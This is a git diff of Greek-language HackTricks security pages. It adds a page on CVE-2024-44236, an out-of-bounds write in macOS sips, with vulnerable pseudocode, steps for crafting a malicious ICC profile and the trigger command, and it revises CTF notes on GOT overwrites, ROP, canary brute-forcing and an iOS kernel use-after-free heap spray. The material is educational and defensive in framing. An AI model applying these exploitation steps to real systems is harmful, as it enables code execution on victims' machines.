> Ο στόχος αυτής της κλάσης είναι να χρησιμοποιήσει όλα τα άλλα αναφερόμενα δίκτυα για να **προβλέψει το επόμενο token σε μια ακολουθία**, το οποίο είναι θεμελιώδες για εργασίες όπως η δημιουργία κειμένου.
|
||||
>
|
||||
> Σημειώστε πώς θα **χρησιμοποιήσει τόσα μπλοκ transformer όσο υποδεικνύεται** και ότι κάθε μπλοκ transformer χρησιμοποιεί ένα δίκτυο πολλαπλών κεφαλών προσοχής, ένα δίκτυο προώθησης και αρκετές κανονικοποιήσεις. Έτσι, αν χρησιμοποιηθούν 12 μπλοκ transformer, πολλαπλασιάστε αυτό με 12.
|
||||
> Σημειώστε πώς θα **χρησιμοποιήσει τόσα πολλά μπλοκ transformer όσο υποδεικνύεται** και ότι κάθε μπλοκ transformer χρησιμοποιεί ένα δίκτυο πολλαπλών κεφαλών προσοχής, ένα δίκτυο προώθησης και αρκετές κανονικοποιήσεις. Έτσι, αν χρησιμοποιηθούν 12 μπλοκ transformer, πολλαπλασιάστε αυτό με 12.
|
||||
>
|
||||
> Επιπλέον, ένα **επίπεδο κανονικοποίησης** προστίθεται **πριν** από την **έξοδο** και ένα τελικό γραμμικό επίπεδο εφαρμόζεται στο τέλος για να αποκτήσει τα αποτελέσματα με τις κατάλληλες διαστάσεις. Σημειώστε πώς κάθε τελικός διανύσματος έχει το μέγεθος του χρησιμοποιούμενου λεξιλογίου. Αυτό συμβαίνει επειδή προσπαθεί να αποκτήσει μια πιθανότητα ανά πιθανό token μέσα στο λεξιλόγιο.
|
||||
|
||||
## Αριθμός Παραμέτρων προς εκπαίδευση
|
||||
|
||||
Έχοντας καθορίσει τη δομή GPT, είναι δυνατόν να βρείτε τον αριθμό παραμέτρων προς εκπαίδευση:
|
||||
Έχοντας καθορίσει τη δομή GPT, είναι δυνατόν να βρεθεί ο αριθμός παραμέτρων προς εκπαίδευση:
|
||||
```python
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
@ -585,7 +585,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
||||
```python
|
||||
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
|
||||
```
|
||||
**β. Στρώμα Έξοδου (`out_head`)**
|
||||
**β. Στρώμα Έξοδου Πρόβλεψης (`out_head`)**
|
||||
|
||||
- **Στρώμα:** `nn.Linear(emb_dim, vocab_size, bias=False)`
|
||||
- **Παράμετροι:** `emb_dim * vocab_size`
|
||||
|
@ -795,6 +795,7 @@
|
||||
- [BF Forked & Threaded Stack Canaries](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
|
||||
- [Print Stack Canary](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
|
||||
- [Write What Where 2 Exec](binary-exploitation/arbitrary-write-2-exec/README.md)
|
||||
- [Aw2exec Sips Icc Profile](binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md)
|
||||
- [WWW2Exec - atexit()](binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md)
|
||||
- [WWW2Exec - .dtors & .fini_array](binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)
|
||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
|
@ -0,0 +1,53 @@
|
||||
# WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Επισκόπηση
|
||||
|
||||
Μια ευπάθεια εκτός ορίων εγγραφής στο Apple macOS Scriptable Image Processing System (`sips`) ICC profile parser (macOS 15.0.1, sips-307) λόγω ακατάλληλης επικύρωσης του πεδίου `offsetToCLUT` στα tags `lutAToBType` (`mAB `) και `lutBToAType` (`mBA `). Ένα κατασκευασμένο αρχείο ICC μπορεί να προκαλέσει μηδενικές εγγραφές έως 16 bytes πέρα από το heap buffer, διαφθείροντας τα μεταδεδομένα του heap ή τους δείκτες συναρτήσεων και επιτρέποντας την εκτέλεση αυθαίρετου κώδικα (CVE-2024-44236).
|
||||
|
||||
## Ευάλωτος Κώδικας
|
||||
|
||||
Η ευάλωτη συνάρτηση διαβάζει και μηδενίζει 16 bytes ξεκινώντας από μια θέση που ελέγχεται από τον επιτιθέμενο χωρίς να διασφαλίζει ότι βρίσκεται εντός του κατανεμημένου buffer:
|
||||
```c
|
||||
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
|
||||
if (i > numberOfInputChannels && buffer[i] != 0)
|
||||
buffer[i] = 0;
|
||||
}
|
||||
```
|
||||
Μόνο ένας έλεγχος `offsetToCLUT <= totalDataLength` εκτελείται. Ορίζοντας `offsetToCLUT == tagDataSize`, ο βρόχος δείχνει μέχρι 16 byte πέρα από το τέλος του `buffer`, διαφθείροντας τα γειτονικά μεταδεδομένα της στοίβας.
|
||||
|
||||
## Βήματα Εκμετάλλευσης
|
||||
|
||||
1. **Δημιουργία κακόβουλου προφίλ `.icc`:**
|
||||
- Δημιουργήστε την κεφαλίδα ICC (128 byte) με υπογραφή `acsp` και μία μόνο είσοδο `lutAToBType` ή `lutBToAType`.
|
||||
- Στον πίνακα ετικετών, ορίστε το `offsetToCLUT` ίσο με το `size` της ετικέτας (`tagDataSize`).
|
||||
- Τοποθετήστε δεδομένα που ελέγχονται από τον επιτιθέμενο αμέσως μετά το μπλοκ δεδομένων της ετικέτας για να αντικαταστήσετε τα μεταδεδομένα της στοίβας.
|
||||
2. **Ενεργοποίηση ανάλυσης:**
|
||||
|
||||
```bash
|
||||
sips --verifyColor malicious.icc
|
||||
```
|
||||
|
||||
3. **Διαφθορά μεταδεδομένων στοίβας:** Οι OOB μηδενικές εγγραφές αντικαθιστούν τα μεταδεδομένα του αλγορίθμου ή τους γειτονικούς δείκτες, επιτρέποντας στον επιτιθέμενο να αναλάβει τον έλεγχο ροής και να επιτύχει εκτέλεση αυθαίρετου κώδικα στο πλαίσιο της διαδικασίας `sips`.
|
||||
|
||||
## Επιπτώσεις
|
||||
|
||||
Η επιτυχής εκμετάλλευση έχει ως αποτέλεσμα την απομακρυσμένη εκτέλεση αυθαίρετου κώδικα με δικαιώματα χρήστη σε συστήματα macOS που εκτελούν το ευάλωτο εργαλείο `sips`.
|
||||
|
||||
## Ανίχνευση
|
||||
|
||||
- Παρακολουθήστε τις μεταφορές αρχείων σε κοινά πρωτόκολλα (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
|
||||
- Εξετάστε τα μεταφερόμενα αρχεία με υπογραφή `acsp`.
|
||||
- Για κάθε ετικέτα `mAB ` ή `mBA `, επαληθεύστε αν το πεδίο `Offset to CLUT` είναι ίσο με το `Tag data size`.
|
||||
- Σημειώστε ως ύποπτο αν πληρούται αυτή η προϋπόθεση.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- ZDI blog: CVE-2024-44236: Ευπάθεια Εκτέλεσης Κώδικα από Απόσταση στο Εργαλείο sips της Apple macOS
|
||||
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
|
||||
- Ενημέρωση Ασφαλείας Apple Οκτωβρίου 2024 (patch που αποστέλλει το CVE-2024-44236)
|
||||
https://support.apple.com/en-us/121564
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
@ -9,10 +9,12 @@
|
||||
Ωστόσο, μπορείτε να βρείτε μερικά ωραία **παραδείγματα**:
|
||||
|
||||
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
|
||||
- Υπάρχουν **2 συγκρουόμενοι πίνακες**, ένας για **διευθύνσεις** όπου αποθηκεύονται τα δεδομένα και ένας με τα **μεγέθη** αυτών των δεδομένων. Είναι δυνατό να επαναγραφεί ο ένας από τον άλλο, επιτρέποντας την εγγραφή μιας αυθαίρετης διεύθυνσης υποδεικνύοντας την ως μέγεθος. Αυτό επιτρέπει την εγγραφή της διεύθυνσης της συνάρτησης `free` στον πίνακα GOT και στη συνέχεια την επαναγραφή της με τη διεύθυνση προς `system`, και την κλήση του free από μια μνήμη με `/bin/sh`.
|
||||
- Υπάρχουν **2 συγκρουόμενοι πίνακες**, ένας για **διευθύνσεις** όπου αποθηκεύονται τα δεδομένα και ένας με τα **μεγέθη** αυτών των δεδομένων. Είναι δυνατό να επαναγραφεί ο ένας από τον άλλο, επιτρέποντας την εγγραφή μιας αυθαίρετης διεύθυνσης υποδεικνύοντας την ως μέγεθος. Αυτό επιτρέπει την εγγραφή της διεύθυνσης της συνάρτησης `free` στον πίνακα GOT και στη συνέχεια την επαναγραφή της με τη διεύθυνση της `system`, και την κλήση της free από μια μνήμη με `/bin/sh`.
|
||||
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
|
||||
- 64 bits, no nx. Επαναγράψτε ένα μέγεθος για να αποκτήσετε μια μορφή buffer overflow όπου όλα θα χρησιμοποιηθούν ως διπλός αριθμός και θα ταξινομηθούν από το μικρότερο στο μεγαλύτερο, οπότε είναι απαραίτητο να δημιουργηθεί ένα shellcode που να πληροί αυτή την απαίτηση, λαμβάνοντας υπόψη ότι το canary δεν πρέπει να μετακινηθεί από τη θέση του και τελικά να επαναγράψει το RIP με μια διεύθυνση προς ret, που να πληροί τις προηγούμενες απαιτήσεις και να τοποθετήσει τη μεγαλύτερη διεύθυνση σε μια νέα διεύθυνση που δείχνει στην αρχή της στοίβας (που διαρρέει από το πρόγραμμα) ώστε να είναι δυνατή η χρήση του ret για να πηδήξει εκεί.
|
||||
- 64 bits, no nx. Επαναγράψτε ένα μέγεθος για να αποκτήσετε μια μορφή buffer overflow όπου όλα θα χρησιμοποιηθούν ως διπλός αριθμός και θα ταξινομηθούν από το μικρότερο στο μεγαλύτερο, οπότε είναι απαραίτητο να δημιουργηθεί ένα shellcode που να πληροί αυτή την απαίτηση, λαμβάνοντας υπόψη ότι το canary δεν πρέπει να μετακινηθεί από τη θέση του και τελικά να επαναγράψει το RIP με μια διεύθυνση για ret, που να πληροί τις προηγούμενες απαιτήσεις και να τοποθετήσει τη μεγαλύτερη διεύθυνση σε μια νέα διεύθυνση που δείχνει στην αρχή της στοίβας (που διαρρέει από το πρόγραμμα) ώστε να είναι δυνατή η χρήση του ret για να πηδήξει εκεί.
|
||||
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
||||
- 64bits, no relro, canary, nx, no pie. Υπάρχει ένα off-by-one σε έναν πίνακα στη στοίβα που επιτρέπει τον έλεγχο ενός δείκτη παρέχοντας WWW (γράφει το άθροισμα όλων των αριθμών του πίνακα στη διεύθυνση που έχει επαναγραφεί από το off-by-one στον πίνακα). Η στοίβα ελέγχεται ώστε η διεύθυνση GOT `exit` να επαναγραφεί με `pop rdi; ret`, και στη στοίβα προστίθεται η διεύθυνση προς `main` (επιστρέφοντας στο `main`). Χρησιμοποιείται μια αλυσίδα ROP για να διαρρεύσει τη διεύθυνση του put στον GOT χρησιμοποιώντας puts (`exit` θα κληθεί, οπότε θα καλέσει `pop rdi; ret`, εκτελώντας έτσι αυτή την αλυσίδα στη στοίβα). Τέλος, χρησιμοποιείται μια νέα αλυσίδα ROP που εκτελεί το ret2lib.
|
||||
- 64bits, no relro, canary, nx, no pie. Υπάρχει ένα off-by-one σε έναν πίνακα στη στοίβα που επιτρέπει τον έλεγχο ενός δείκτη παρέχοντας WWW (γράφει το άθροισμα όλων των αριθμών του πίνακα στη διεύθυνση που έχει επαναγραφεί από το off-by-one στον πίνακα). Η στοίβα ελέγχεται ώστε η διεύθυνση GOT `exit` να επαναγραφεί με `pop rdi; ret`, και στη στοίβα προστίθεται η διεύθυνση της `main` (επιστρέφοντας στην `main`). Στη συνέχεια, χρησιμοποιείται μια αλυσίδα ROP για να διαρρεύσει τη διεύθυνση του put στον GOT χρησιμοποιώντας puts (`exit` θα κληθεί, οπότε θα καλέσει `pop rdi; ret`, εκτελώντας έτσι αυτή την αλυσίδα στη στοίβα). Τέλος, χρησιμοποιείται μια νέα αλυσίδα ROP που εκτελεί το ret2lib.
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
|
||||
- 32 bit, no relro, no canary, nx, pie. Καταχρήστε μια κακή ευρετηρίαση για να διαρρεύσετε διευθύνσεις της libc και της heap από τη στοίβα. Καταχρήστε το buffer overflow για να κάνετε ένα ret2lib καλώντας `system('/bin/sh')` (η διεύθυνση της heap είναι απαραίτητη για να παρακαμφθεί ένας έλεγχος).
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -6,8 +6,8 @@
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Σημειώστε ότι **`checksec`** μπορεί να μην εντοπίσει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary αν αυτό έχει στατικά μεταγλωττιστεί και δεν είναι ικανό να εντοπίσει τη λειτουργία.\
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι **`checksec`** μπορεί να μην εντοπίσει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary αν αυτό έχει μεταγλωττιστεί στατικά και δεν είναι ικανό να εντοπίσει τη λειτουργία.\
|
||||
> Ωστόσο, μπορείτε να το παρατηρήσετε χειροκίνητα αν διαπιστώσετε ότι μια τιμή αποθηκεύεται στο στοίβα στην αρχή μιας κλήσης λειτουργίας και αυτή η τιμή ελέγχεται πριν την έξοδο.
|
||||
|
||||
## Brute force Canary
|
||||
@ -103,15 +103,17 @@ log.info(f"The canary is: {canary}")
|
||||
```
|
||||
## Νήματα
|
||||
|
||||
Τα νήματα της ίδιας διαδικασίας θα **μοιράζονται το ίδιο canary token**, επομένως θα είναι δυνατό να **brute-forc**e ένα canary αν το δυαδικό δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση.
|
||||
Τα νήματα της ίδιας διαδικασίας θα **μοιράζονται το ίδιο καναρί** token, επομένως θα είναι δυνατό να **brute-force** ένα καναρί αν το δυαδικό δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση.
|
||||
|
||||
Επιπλέον, μια **υπερχείλιση buffer σε μια λειτουργία με νήματα** που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για να **τροποποιήσει το master canary που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή, μπορεί να είναι δυνατό να φτάσουμε στη θέση μνήμης όπου αποθηκεύεται το TLS (και επομένως, το canary) μέσω μιας **bof στο stack** ενός νήματος.\
|
||||
Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).\
|
||||
Επιπλέον, μια **υπερχείλιση buffer σε μια θηλειώδη συνάρτηση** που προστατεύεται με καναρί θα μπορούσε να χρησιμοποιηθεί για **να τροποποιήσει το κύριο καναρί που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή, μπορεί να είναι δυνατό να φτάσουμε στη θέση μνήμης όπου αποθηκεύεται το TLS (και επομένως, το καναρί) μέσω μιας **bof στη στοίβα** ενός νήματος.\
|
||||
Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο καναρί που είναι τα ίδια (αν και τροποποιημένα).\
|
||||
Αυτή η επίθεση εκτελείται στην αναφορά: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
Δείτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) που αναφέρει ότι συνήθως το **TLS** αποθηκεύεται με **`mmap`** και όταν δημιουργείται ένα **stack** ενός **νήματος** παράγεται επίσης από `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέπει την υπερχείλιση όπως φαίνεται στην προηγούμενη αναφορά.
|
||||
Δείτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) που αναφέρει ότι συνήθως το **TLS** αποθηκεύεται με **`mmap`** και όταν δημιουργείται μια **στοίβα** **νήματος** δημιουργείται επίσης από `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέπει την υπερχείλιση όπως φαίνεται στην προηγούμενη αναφορά.
|
||||
|
||||
## Άλλα παραδείγματα & αναφορές
|
||||
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||||
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -2,90 +2,90 @@
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Φυσική χρήση μετά από απελευθέρωση
|
||||
## Physical use-after-free
|
||||
|
||||
Αυτή είναι μια περίληψη από την ανάρτηση από [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) επιπλέον περισσότερες πληροφορίες σχετικά με την εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική μπορούν να βρεθούν στο [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Διαχείριση μνήμης στο XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
Ο **εικονικός χώρος διευθύνσεων μνήμης** για τις διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα σε φυσική μνήμη. Αντίθετα, ο ** πυρήνας** χρησιμοποιεί **πίνακες σελίδων** για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**.
|
||||
Ο **χώρος διευθύνσεων εικονικής μνήμης** για τις διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα σε φυσική μνήμη. Αντίθετα, ο **kernel** χρησιμοποιεί **πίνακες σελίδων** για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**.
|
||||
|
||||
#### Επίπεδα Πινάκων Σελίδων στο iOS
|
||||
#### Levels of Page Tables in iOS
|
||||
|
||||
Οι πίνακες σελίδων οργανώνονται ιεραρχικά σε τρία επίπεδα:
|
||||
|
||||
1. **Πίνακας Σελίδων L1 (Επίπεδο 1)**:
|
||||
* Κάθε εγγραφή εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης.
|
||||
1. **L1 Page Table (Επίπεδο 1)**:
|
||||
* Κάθε καταχώρηση εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης.
|
||||
* Καλύπτει **0x1000000000 bytes** (ή **256 GB**) εικονικής μνήμης.
|
||||
2. **Πίνακας Σελίδων L2 (Επίπεδο 2)**:
|
||||
* Μια εγγραφή εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα **0x2000000 bytes** (32 MB).
|
||||
* Μια εγγραφή L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να αντιστοιχίσει ολόκληρη την περιοχή μόνη της.
|
||||
3. **Πίνακας Σελίδων L3 (Επίπεδο 3)**:
|
||||
* Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε εγγραφή αντιστοιχεί σε μια μεμονωμένη **4 KB** σελίδα μνήμης.
|
||||
* Μια εγγραφή L2 μπορεί να δείχνει σε έναν πίνακα L3 αν χρειάζεται πιο λεπτομερής έλεγχος.
|
||||
2. **L2 Page Table (Επίπεδο 2)**:
|
||||
* Μια καταχώρηση εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα **0x2000000 bytes** (32 MB).
|
||||
* Μια καταχώρηση L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να αντιστοιχίσει ολόκληρη την περιοχή μόνη της.
|
||||
3. **L3 Page Table (Επίπεδο 3)**:
|
||||
* Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε καταχώρηση αντιστοιχεί σε μια μεμονωμένη **4 KB** σελίδα μνήμης.
|
||||
* Μια καταχώρηση L2 μπορεί να δείχνει σε έναν πίνακα L3 αν χρειάζεται πιο λεπτομερής έλεγχος.
|
||||
|
||||
#### Αντιστοίχιση Εικονικής σε Φυσική Μνήμη
|
||||
#### Mapping Virtual to Physical Memory
|
||||
|
||||
* **Άμεση Αντιστοίχιση (Block Mapping)**:
|
||||
* Ορισμένες εγγραφές σε έναν πίνακα σελίδων αντιστοιχούν άμεσα σε **ένα εύρος εικονικών διευθύνσεων** σε ένα συνεχόμενο εύρος φυσικών διευθύνσεων (όπως μια συντόμευση).
|
||||
* **Δείκτης σε Παιδικό Πίνακα Σελίδων**:
|
||||
* Αν χρειάζεται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ., L1) μπορεί να δείχνει σε έναν **παιδικό πίνακα σελίδων** στο επόμενο επίπεδο (π.χ., L2).
|
||||
* **Direct Mapping (Block Mapping)**:
|
||||
* Ορισμένες καταχωρήσεις σε έναν πίνακα σελίδων αντιστοιχούν άμεσα σε **ένα εύρος εικονικών διευθύνσεων** σε μια συνεχόμενη περιοχή φυσικών διευθύνσεων (όπως μια συντόμευση).
|
||||
* **Pointer to Child Page Table**:
|
||||
* Αν χρειάζεται πιο λεπτομερής έλεγχος, μια καταχώρηση σε ένα επίπεδο (π.χ., L1) μπορεί να δείχνει σε έναν **πίνακα παιδιών σελίδων** στο επόμενο επίπεδο (π.χ., L2).
|
||||
|
||||
#### Παράδειγμα: Αντιστοίχιση Εικονικής Διεύθυνσης
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
Ας πούμε ότι προσπαθείτε να αποκτήσετε πρόσβαση στην εικονική διεύθυνση **0x1000000000**:
|
||||
Ας πούμε ότι προσπαθείτε να αποκτήσετε πρόσβαση στη εικονική διεύθυνση **0x1000000000**:
|
||||
|
||||
1. **Πίνακας L1**:
|
||||
* Ο πυρήνας ελέγχει την εγγραφή του πίνακα σελίδων L1 που αντιστοιχεί σε αυτή την εικονική διεύθυνση. Αν έχει έναν **δείκτη σε έναν πίνακα σελίδων L2**, πηγαίνει σε αυτόν τον πίνακα L2.
|
||||
2. **Πίνακας L2**:
|
||||
* Ο πυρήνας ελέγχει τον πίνακα σελίδων L2 για μια πιο λεπτομερή αντιστοίχιση. Αν αυτή η εγγραφή δείχνει σε έναν **πίνακα σελίδων L3**, προχωρά εκεί.
|
||||
3. **Πίνακας L3**:
|
||||
* Ο πυρήνας αναζητά την τελική εγγραφή L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης.
|
||||
1. **L1 Table**:
|
||||
* Ο kernel ελέγχει την καταχώρηση του πίνακα L1 που αντιστοιχεί σε αυτή τη εικονική διεύθυνση. Αν έχει μια **δείκτη σε έναν πίνακα L2**, πηγαίνει σε αυτόν τον πίνακα L2.
|
||||
2. **L2 Table**:
|
||||
* Ο kernel ελέγχει τον πίνακα L2 για μια πιο λεπτομερή αντιστοίχιση. Αν αυτή η καταχώρηση δείχνει σε έναν **πίνακα L3**, προχωρά εκεί.
|
||||
3. **L3 Table**:
|
||||
* Ο kernel αναζητά την τελική καταχώρηση L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης.
|
||||
|
||||
#### Παράδειγμα Αντιστοίχισης Διεύθυνσης
|
||||
#### Example of Address Mapping
|
||||
|
||||
Αν γράψετε τη φυσική διεύθυνση **0x800004000** στον πρώτο δείκτη του πίνακα L2, τότε:
|
||||
|
||||
* Οι εικονικές διευθύνσεις από **0x1000000000** έως **0x1002000000** αντιστοιχούν σε φυσικές διευθύνσεις από **0x800004000** έως **0x802004000**.
|
||||
* Αυτό είναι μια **αντιστοίχιση μπλοκ** στο επίπεδο L2.
|
||||
* Αυτό είναι μια **block mapping** στο επίπεδο L2.
|
||||
|
||||
Εναλλακτικά, αν η εγγραφή L2 δείχνει σε έναν πίνακα L3:
|
||||
Εναλλακτικά, αν η καταχώρηση L2 δείχνει σε έναν πίνακα L3:
|
||||
|
||||
* Κάθε σελίδα 4 KB στην εικονική περιοχή διευθύνσεων **0x1000000000 -> 0x1002000000** θα αντιστοιχίζεται από μεμονωμένες εγγραφές στον πίνακα L3.
|
||||
* Κάθε σελίδα 4 KB στην εικονική διεύθυνση **0x1000000000 -> 0x1002000000** θα αντιστοιχίζεται από μεμονωμένες καταχωρήσεις στον πίνακα L3.
|
||||
|
||||
### Φυσική χρήση μετά από απελευθέρωση
|
||||
### Physical use-after-free
|
||||
|
||||
Μια **φυσική χρήση μετά από απελευθέρωση** (UAF) συμβαίνει όταν:
|
||||
Μια **φυσική χρήση μετά την απελευθέρωση** (UAF) συμβαίνει όταν:
|
||||
|
||||
1. Μια διεργασία **κατανέμει** κάποια μνήμη ως **αναγνώσιμη και εγγράψιμη**.
|
||||
2. Οι **πίνακες σελίδων** ενημερώνονται για να αντιστοιχίσουν αυτή τη μνήμη σε μια συγκεκριμένη φυσική διεύθυνση που μπορεί να προσπελάσει η διεργασία.
|
||||
3. Η διεργασία **απελευθερώνει** (ελευθερώνει) τη μνήμη.
|
||||
4. Ωστόσο, λόγω ενός **σφάλματος**, ο πυρήνας **ξεχνά να αφαιρέσει την αντιστοίχιση** από τους πίνακες σελίδων, αν και σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη.
|
||||
5. Ο πυρήνας μπορεί στη συνέχεια να **ανακατανείμει αυτή τη "ελεύθερη" φυσική μνήμη** για άλλους σκοπούς, όπως **δεδομένα πυρήνα**.
|
||||
4. Ωστόσο, λόγω ενός **σφάλματος**, ο kernel **ξεχνά να αφαιρέσει την αντιστοίχιση** από τους πίνακες σελίδων, αν και σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη.
|
||||
5. Ο kernel μπορεί στη συνέχεια να **ανακατανείμει αυτή τη "ελεύθερη" φυσική μνήμη** για άλλους σκοπούς, όπως **δεδομένα του kernel**.
|
||||
6. Δεδομένου ότι η αντιστοίχιση δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να **διαβάσει και να γράψει** σε αυτή τη φυσική μνήμη.
|
||||
|
||||
Αυτό σημαίνει ότι η διεργασία μπορεί να έχει πρόσβαση σε **σελίδες μνήμης πυρήνα**, οι οποίες θα μπορούσαν να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να **χειριστεί τη μνήμη του πυρήνα**.
|
||||
Αυτό σημαίνει ότι η διεργασία μπορεί να έχει πρόσβαση σε **σελίδες μνήμης του kernel**, οι οποίες μπορεί να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να **χειριστεί τη μνήμη του kernel**.
|
||||
|
||||
### Στρατηγική Εκμετάλλευσης: Heap Spray
|
||||
### Exploitation Strategy: Heap Spray
|
||||
|
||||
Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες πυρήνα θα ανατεθούν σε ελεύθερη μνήμη, χρησιμοποιούν μια τεχνική που ονομάζεται **heap spray**:
|
||||
Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες του kernel θα ανατεθούν σε ελεύθερη μνήμη, χρησιμοποιούν μια τεχνική που ονομάζεται **heap spray**:
|
||||
|
||||
1. Ο επιτιθέμενος **δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface** στη μνήμη του πυρήνα.
|
||||
1. Ο επιτιθέμενος **δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface** στη μνήμη του kernel.
|
||||
2. Κάθε αντικείμενο IOSurface περιέχει μια **μαγική τιμή** σε ένα από τα πεδία του, διευκολύνοντας την αναγνώριση.
|
||||
3. **Σαρώνονται οι ελεύθερες σελίδες** για να δουν αν κάποιο από αυτά τα αντικείμενα IOSurface προσγειώθηκε σε μια ελεύθερη σελίδα.
|
||||
4. Όταν βρουν ένα αντικείμενο IOSurface σε μια ελεύθερη σελίδα, μπορούν να το χρησιμοποιήσουν για να **διαβάσουν και να γράψουν στη μνήμη του πυρήνα**.
|
||||
4. Όταν βρουν ένα αντικείμενο IOSurface σε μια ελεύθερη σελίδα, μπορούν να το χρησιμοποιήσουν για να **διαβάσουν και να γράψουν στη μνήμη του kernel**.
|
||||
|
||||
Περισσότερες πληροφορίες σχετικά με αυτό στο [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
### Διαδικασία Heap Spray Βήμα προς Βήμα
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
